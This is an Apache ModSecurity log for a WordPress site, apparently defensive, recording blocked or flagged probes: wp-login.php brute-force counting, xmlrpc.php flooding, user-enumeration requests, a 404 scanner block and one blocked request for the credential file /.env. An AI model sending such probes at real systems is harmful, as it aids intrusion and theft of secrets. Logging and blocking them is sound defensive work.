[Sat May 16 05:10:09.145129 2026] [:error] [pid 24979:tid 25002] [client 20.195.182.164:4570] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sky.php"] [unique_id "ageLsbvSFUQiwLaOL2ofWQAAANU"]
[Sat May 16 05:10:10.531658 2026] [:error] [pid 24979:tid 24986] [client 20.195.182.164:25177] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sky.php"] [unique_id "ageLsrvSFUQiwLaOL2ofWgAAAMU"]
[Sat May 16 06:02:42.295886 2026] [:error] [pid 5602:tid 5619] [client 43.165.65.117:45164] [client 43.165.65.117] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ageYAtzTTsu77r3UIsm7ZAAAAQ8"]
[Sat May 16 07:22:18.048280 2026] [:error] [pid 24874:tid 24958] [client 220.69.155.14:42264] [client 220.69.155.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 220.69.155.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ageqqsiii6x3XidYGHGonQAAAJc"]
[Sat May 16 07:22:20.301075 2026] [:error] [pid 24874:tid 24952] [client 220.69.155.14:42264] [client 220.69.155.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 220.69.155.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ageqrMiii6x3XidYGHGooAAAAJE"], referer: https://gigfragments.org/wp-login.php
[Sat May 16 07:49:57.250329 2026] [:error] [pid 24979:tid 24996] [client 169.61.160.127:40078] [client 169.61.160.127] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 169.61.160.127, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agexJbvSFUQiwLaOL2pCSAAAAM8"]
[Sat May 16 07:50:00.185050 2026] [:error] [pid 24979:tid 24989] [client 169.61.160.127:40078] [client 169.61.160.127] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 169.61.160.127, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agexKLvSFUQiwLaOL2pCTQAAAMg"], referer: https://gigfragments.org/wp-login.php
[Sat May 16 08:03:31.568455 2026] [:error] [pid 24869:tid 24917] [client 144.16.144.93:50529] [client 144.16.144.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.16.144.93, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "age0U-xo3FMprMltYl4OeQAAAEk"]
[Sat May 16 08:03:34.389382 2026] [:error] [pid 24869:tid 24922] [client 144.16.144.93:50529] [client 144.16.144.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.16.144.93, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "age0Vuxo3FMprMltYl4OfAAAAE4"], referer: https://gigfragments.org/wp-login.php
[Sat May 16 08:57:29.606727 2026] [:error] [pid 24869:tid 24932] [client 89.117.51.245:39776] [client 89.117.51.245] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.117.51.245, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agfA-exo3FMprMltYl4V-gAAAFg"]
[Sat May 16 08:57:31.229922 2026] [:error] [pid 24869:tid 24924] [client 89.117.51.245:39776] [client 89.117.51.245] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.117.51.245, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agfA--xo3FMprMltYl4V_QAAAFA"], referer: https://gigfragments.org/wp-login.php
[Sat May 16 09:04:20.908847 2026] [:error] [pid 24867:tid 24902] [client 222.252.11.23:56818] [client 222.252.11.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 222.252.11.23, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agfClCDgFLCgyKq-zmYAMQAAABU"]
[Sat May 16 09:04:22.962646 2026] [:error] [pid 24867:tid 24886] [client 222.252.11.23:56818] [client 222.252.11.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 222.252.11.23, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agfCliDgFLCgyKq-zmYANQAAAAU"], referer: https://gigfragments.org/wp-login.php
[Sat May 16 09:10:46.058630 2026] [:error] [pid 24869:tid 24918] [client 190.159.36.43:45642] [client 190.159.36.43] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "agfEFuxo3FMprMltYl4YlAAAAEo"]
[Sat May 16 09:21:43.691738 2026] [:error] [pid 24874:tid 24941] [client 43.140.247.223:48482] [client 43.140.247.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agfGp8iii6x3XidYGHG9GQAAAIY"]
[Sat May 16 09:44:32.503024 2026] [:error] [pid 24867:tid 24905] [client 217.217.254.45:52628] [client 217.217.254.45] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.217.254.45, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agfMACDgFLCgyKq-zmYEkQAAABg"]
[Sat May 16 09:44:37.032887 2026] [:error] [pid 24867:tid 24892] [client 217.217.254.45:52628] [client 217.217.254.45] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.217.254.45, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agfMBSDgFLCgyKq-zmYElAAAAAs"], referer: https://gigfragments.org/wp-login.php
[Sat May 16 10:18:29.155821 2026] [:error] [pid 5602:tid 5608] [client 148.72.247.18:54652] [client 148.72.247.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 148.72.247.18, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agfT9dzTTsu77r3UIskK1QAAAQQ"]
[Sat May 16 10:18:30.923268 2026] [:error] [pid 5602:tid 5621] [client 148.72.247.18:54652] [client 148.72.247.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 148.72.247.18, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agfT9tzTTsu77r3UIskK2QAAARE"], referer: https://gigfragments.org/wp-login.php
[Sat May 16 11:10:50.942989 2026] [:error] [pid 61411:tid 61430] [client 43.156.156.96:40850] [client 43.156.156.96] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agfgOmVkiEwGnPL_dvHNVQAAAZE"]
[Sat May 16 12:15:51.778504 2026] [:error] [pid 61361:tid 61378] [client 222.252.11.133:54999] [client 222.252.11.133] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/me"] [unique_id "agfvd5Zojzbt3jGziNkeugAAAU8"]
[Sat May 16 12:47:06.943587 2026] [:error] [pid 5602:tid 5624] [client 65.254.225.222:49396] [client 65.254.225.222] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.222, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agf2ytzTTsu77r3UIskYMgAAARQ"]
[Sat May 16 12:47:08.907214 2026] [:error] [pid 5602:tid 5607] [client 65.254.225.222:49396] [client 65.254.225.222] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.222, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agf2zNzTTsu77r3UIskYMwAAAQM"], referer: https://gigfragments.org/wp-login.php
[Sat May 16 13:12:27.723628 2026] [:error] [pid 24979:tid 25004] [client 85.215.210.114:45564] [client 85.215.210.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.215.210.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agf8u7vSFUQiwLaOL2p4NwAAANc"]
[Sat May 16 13:12:29.937480 2026] [:error] [pid 24979:tid 24985] [client 85.215.210.114:45564] [client 85.215.210.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.215.210.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agf8vbvSFUQiwLaOL2p4OQAAAMQ"], referer: https://gigfragments.org/wp-login.php
[Sat May 16 13:15:23.596606 2026] [:error] [pid 61361:tid 61369] [client 152.59.153.109:65300] [client 152.59.153.109] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.153.109, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agf9a5Zojzbt3jGziNkqHQAAAUY"]
[Sat May 16 13:15:26.469434 2026] [:error] [pid 61411:tid 61423] [client 152.59.153.109:49291] [client 152.59.153.109] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.153.109, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agf9bmVkiEwGnPL_dvHhSwAAAYo"]
[Sat May 16 13:15:37.070630 2026] [:error] [pid 61411:tid 61433] [client 152.59.153.109:49757] [client 152.59.153.109] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.153.109, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agf9eWVkiEwGnPL_dvHhUQAAAZQ"]
[Sat May 16 13:15:47.781576 2026] [:error] [pid 61361:tid 61367] [client 152.59.153.109:50109] [client 152.59.153.109] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.153.109, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agf9g5Zojzbt3jGziNkqJQAAAUQ"]
[Sat May 16 13:16:09.221715 2026] [:error] [pid 61463:tid 61488] [client 152.59.153.109:50667] [client 152.59.153.109] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.153.109, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agf9mTXdL1WU7nYXPmTj4wAAAdc"]
[Sat May 16 13:36:27.906328 2026] [:error] [pid 24874:tid 24937] [client 34.21.0.225:50451] [client 34.21.0.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.21.0.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aggCW8iii6x3XidYGHHPUQAAAII"]
[Sat May 16 13:36:31.479906 2026] [:error] [pid 24874:tid 24955] [client 34.21.0.225:50451] [client 34.21.0.225] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aggCX8iii6x3XidYGHHPVQAAAJQ"]
[Sat May 16 13:36:33.011946 2026] [:error] [pid 24874:tid 24936] [client 34.21.0.225:50451] [client 34.21.0.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.21.0.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aggCYciii6x3XidYGHHPVwAAAIE"]
[Sat May 16 13:36:34.929331 2026] [:error] [pid 61361:tid 61376] [client 34.21.0.225:63028] [client 34.21.0.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.21.0.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aggCYpZojzbt3jGziNkuXAAAAU0"]
[Sat May 16 13:36:36.825224 2026] [:error] [pid 61361:tid 61385] [client 34.21.0.225:58321] [client 34.21.0.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.21.0.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aggCZJZojzbt3jGziNkuXwAAAVY"]
[Sat May 16 13:36:38.768026 2026] [:error] [pid 61361:tid 61365] [client 34.21.0.225:62323] [client 34.21.0.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.21.0.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aggCZpZojzbt3jGziNkuZwAAAUI"]
[Sat May 16 13:36:40.658022 2026] [:error] [pid 24867:tid 24899] [client 34.21.0.225:56142] [client 34.21.0.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.21.0.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aggCaCDgFLCgyKq-zmYQfgAAABI"]
[Sat May 16 13:36:40.658170 2026] [:error] [pid 24867:tid 24899] [client 34.21.0.225:56142] [client 34.21.0.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.21.0.225, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aggCaCDgFLCgyKq-zmYQfgAAABI"]
[Sat May 16 14:24:36.081201 2026] [:error] [pid 24869:tid 24910] [client 223.181.49.181:14264] [client 223.181.49.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.181.49.181, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aggNpOxo3FMprMltYl4tagAAAEI"]
[Sat May 16 14:24:36.119216 2026] [:error] [pid 61361:tid 61363] [client 223.181.49.181:32202] [client 223.181.49.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.181.49.181, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aggNpJZojzbt3jGziNk6SwAAAUA"]
[Sat May 16 14:30:27.019928 2026] [:error] [pid 61411:tid 61427] [client 223.181.49.181:24866] [client 223.181.49.181] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aggPA2VkiEwGnPL_dvHtTAAAAY4"]
[Sat May 16 14:30:27.337322 2026] [:error] [pid 61411:tid 61419] [client 223.181.49.181:24866] [client 223.181.49.181] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aggPA2VkiEwGnPL_dvHtTgAAAYY"]
[Sat May 16 14:31:19.341191 2026] [:error] [pid 61411:tid 61416] [client 223.181.49.181:23145] [client 223.181.49.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.181.49.181, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aggPN2VkiEwGnPL_dvHtbAAAAYM"]
[Sat May 16 14:31:21.448457 2026] [:error] [pid 61361:tid 61371] [client 223.181.49.181:1228] [client 223.181.49.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.181.49.181, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aggPOZZojzbt3jGziNk72AAAAUg"]
[Sat May 16 14:32:01.918043 2026] [:error] [pid 62341:tid 62367] [client 223.181.49.181:2478] [client 223.181.49.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.181.49.181, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aggPYanvQ59ep-XG78ij4gAAApU"]
[Sat May 16 14:32:03.948209 2026] [:error] [pid 24979:tid 24985] [client 223.181.49.181:17859] [client 223.181.49.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.181.49.181, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aggPY7vSFUQiwLaOL2qDXgAAAMQ"]
[Sat May 16 14:46:20.753592 2026] [:error] [pid 61361:tid 61370] [client 49.13.246.178:54288] [client 49.13.246.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 49.13.246.178, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aggSvJZojzbt3jGziNlAewAAAUc"]
[Sat May 16 14:46:22.415602 2026] [:error] [pid 61361:tid 61365] [client 49.13.246.178:54288] [client 49.13.246.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 49.13.246.178, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aggSvpZojzbt3jGziNlAfQAAAUI"], referer: https://gigfragments.org/wp-login.php
[Sat May 16 15:42:07.849694 2026] [:error] [pid 5602:tid 5618] [client 103.74.123.7:36512] [client 103.74.123.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.74.123.7, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aggfz9zTTsu77r3UIskm0AAAAQ4"]
[Sat May 16 15:42:09.451868 2026] [:error] [pid 5602:tid 5624] [client 103.74.123.7:36512] [client 103.74.123.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.74.123.7, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aggf0dzTTsu77r3UIskm1AAAARQ"], referer: https://gigfragments.org/wp-login.php
[Sat May 16 17:04:49.877161 2026] [:error] [pid 24979:tid 25001] [client 138.199.156.203:43862] [client 138.199.156.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.199.156.203, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aggzMbvSFUQiwLaOL2qWLQAAANQ"]
[Sat May 16 17:04:51.516637 2026] [:error] [pid 24979:tid 25002] [client 138.199.156.203:43862] [client 138.199.156.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.199.156.203, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aggzM7vSFUQiwLaOL2qWLwAAANU"], referer: https://gigfragments.org/wp-login.php
[Sat May 16 17:11:35.435469 2026] [:error] [pid 62341:tid 62351] [client 222.252.11.133:6864] [client 222.252.11.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 222.252.11.133, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agg0x6nvQ59ep-XG78iymwAAAoU"]
[Sat May 16 17:11:37.149608 2026] [:error] [pid 62341:tid 62348] [client 222.252.11.133:6864] [client 222.252.11.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 222.252.11.133, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agg0yanvQ59ep-XG78iynQAAAoI"], referer: https://gigfragments.org/wp-login.php
[Sat May 16 17:15:04.401945 2026] [:error] [pid 24979:tid 24981] [client 176.65.139.229:50524] [client 176.65.139.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "agg1mLvSFUQiwLaOL2qXJQAAAMA"]
